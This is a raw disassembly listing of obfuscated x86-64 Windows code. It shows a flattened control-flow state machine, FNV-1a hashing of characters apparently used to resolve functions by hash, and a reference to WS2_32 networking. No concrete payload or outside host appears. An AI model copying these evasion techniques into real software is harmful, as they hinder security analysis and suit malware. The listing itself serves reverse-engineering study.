je 0x180088fe1
cmp eax, 0xca99577b
jne 0x180089007
mov eax, dword [0x180129cd8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcee0292
mov ecx, 0xafb265d
jmp 0x180088ffa
mov byte [rsi], 0
add rsi, 1
cmp rsi, qword [rbp + 0xf0]
mov eax, 0x2109147c
mov ecx, 0x9d0d89b1
cmove eax, ecx
jmp 0x180089007
sub rsp, 0x20
mov r8d, 8
mov rcx, r14
mov dl, 0x61
call fcn.180098670
add rsp, 0x20
mov rcx, qword [rbp + 0xe0]
mov byte [rcx], al
mov rsi, qword [rbp + 0xe0]
sub rsp, 0x20
mov r8d, 9
mov rcx, r14
mov dl, 0x74
call fcn.180098670
add rsp, 0x20
mov byte [rsi + 1], al
sub rsp, 0x20
mov r8d, 0xa
mov rcx, r14
mov dl, 0x68
call fcn.180098670
add rsp, 0x20
mov byte [rsi + 2], al
sub rsp, 0x20
mov r8d, reloc.WS2_32.dll_inet_addr
mov rcx, r14
mov dl, 0x41
call fcn.180098670
add rsp, 0x20
mov byte [rsi + 3], al
add rsi, 4
mov rax, qword [rbp + 0xc8]
add rax, 0xe
mov qword [rbp + 0xf0], rax
mov eax, 0x2109147c
jmp 0x180089007
movzx ecx, byte [rbp + 0xa8]
cmp byte [rbp + 0xb8], 0
mov eax, 0xeaaca1a6
mov edx, 0xe7d763ca
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x180089007
mov eax, 0x5c7d92e6
jmp 0x180089007
mov byte [rbp + 0x9b8], 0x2a
sub rsp, 0x20
mov rcx, r14
mov dl, 0x47
xor r8d, r8d
call fcn.180098670
add rsp, 0x20
mov eax, 0xe7d763ca
jmp 0x180089007
cmp eax, 0xafb265d
jne 0x180089007
sub rsp, 0x20
mov rcx, r14
call fcn.180093eb0
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0xcbf29ce484222325
jmp 0x1800893d0
mov edx, dword [rbp + 0xc8]
mov rdx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, dword [rbp + 0xb0]
mov edx, 0x181b9de8
nop
cmp edx, 0xfe90a09b
jle 0x180089440
cmp edx, 0x333d8297
jle 0x180089490
cmp edx, 0x5cca55f4
jg 0x18008950a
cmp edx, 0x333d8298
je 0x1800895cd
cmp edx, 0x33ec62ab
je 0x1800895e6
cmp edx, 0x42d422e5
jne 0x1800893d0
mov dword [rbp + 0xb8], edi
mov edx, dword [rbp + 0xb8]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0xa4], edx
mov edx, dword [rbp + 0xa4]
cmp edx, 0x20
mov edx, 0xbb6ed30e
mov ebx, 0xfb306983
cmovge edx, ebx
jmp 0x1800893d0
cmp edx, 0xc5fd57a7
jle 0x1800894d0
cmp edx, 0xeb000b68
jg 0x18008953a
cmp edx, 0xc5fd57a8
je 0x1800895f7
cmp edx, 0xd1e81d16
je 0x180089606
cmp edx, 0xd597d4ff
jne 0x1800893d0
mov edx, 0x42d422e5
mov edi, dword [rbp + 0xec]
jmp 0x1800893d0
cmp edx, 0x12a1b9d7
jle 0x18008956c
cmp edx, 0x12a1b9d8
je 0x18008961f
cmp edx, 0x181b9de8
je 0x18008962e
cmp edx, 0x28ad3f39
jne 0x1800893d0
mov edx, 0x73f80f82
jmp 0x1800893d0
cmp edx, 0xb163ad29
jle 0x18008959e
cmp edx, 0xb163ad2a
je 0x180089668
cmp edx, 0xb9d33223
je 0x180089695
cmp edx, 0xbb6ed30e
jne 0x1800893d0
mov edx, 0x12a1b9d8
jmp 0x1800893d0
cmp edx, 0x5cca55f5
je 0x1800896a6
cmp edx, 0x7343bfbc
je 0x18008938a
cmp edx, 0x73f80f82
jne 0x1800893d0
mov edx, 0x42d422e5
xor edi, edi
jmp 0x1800893d0
cmp edx, 0xeb000b69
je 0x1800896bf
cmp edx, 0xfb306983
jne 0x180089736
mov edx, dword [rbp + 0xa4]
cmp edx, 0x7f
setl byte [rbp + 0xa3]
mov edx, 0x333d8298
jmp 0x1800893d0
cmp edx, 0xfe90a09c
je 0x1800896ea
cmp edx, 0x1dd0b01
jne 0x1800893d0
mov edx, dword [rbp + 0xd4]
cmp edx, 0x5b
setl byte [rbp + 0xc7]
mov edx, 0xd1e81d16
jmp 0x1800893d0
cmp edx, 0x87cbc1a8
je 0x18008971c
cmp edx, 0x9302de66
jne 0x1800893d0
mov rcx, qword [rbp + 0xe0]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xa8]
jmp 0x1800893d0
cmp byte [rbp + 0xa3], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x1800893d0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xe8]
jmp 0x1800893d0
mov dword [rbp + 0xc8], r10d
mov edx, r9d
jmp 0x1800893d0
cmp byte [rbp + 0xc7], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x1800893d0
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r11
jmp 0x1800893d0
movsxd rdx, dword [rbp + 0xc8]
xor rdx, qword [rbp + 0xf0]
movabs rbx, 0x100000001b3
imul rdx, rbx
mov qword [rbp + 0xe0], rdx
mov edx, dword [rbp + 0xb0]
add edx, 1
mov dword [rbp + 0xa8], edx
mov edx, r8d
jmp 0x1800893d0
mov dword [rbp + 0xb0], esi
mov qword [rbp + 0xf0], rcx
mov edx, dword [rbp + 0xb8]
mov ebx, dword [rbp + 0xb0]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x1800893d0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xd4]
jmp 0x1800893d0
mov edx, dword [rbp + 0xb8]
add edx, 1
mov dword [rbp + 0xec], edx
mov edx, 0xd597d4ff
jmp 0x1800893d0
mov rdx, qword [rbp + 0xd8]
movsx edx, byte [rdx]
mov dword [rbp + 0xd4], edx
mov edx, dword [rbp + 0xd4]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x1800893d0
mov edx, dword [rbp + 0xd4]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0xe8], edx
mov edx, 0x33ec62ab
jmp 0x1800893d0
mov edx, dword [rbp + 0xb0]
add rdx, rax
mov qword [rbp + 0xd8], rdx
mov edx, 0xeb000b69
jmp 0x1800893d0
cmp edx, 0xf6d6bd87
jne 0x1800893d0
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call fcn.1800e9be0
mov ecx, 0x400
lea rdx, [rbp + 0x9f0]
call rax
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov eax, 0xd80afb01
jmp 0x180074cd0
cmp eax, 0x24cc3025
jne 0x180074cd0
mov rax, qword [rbp - 0x60]
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov rax, qword [rbp + 0x20]
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp + 0x30]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp]
mov rcx, qword [rbp + 0x11f8]
xor rcx, rbp
sub rsp, 0x20
call fcn.1800fabf0
add rsp, 0x20
movaps xmm6, xmmword [rbp + 0x1200]
lea rsp, [rbp + 0x1218]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret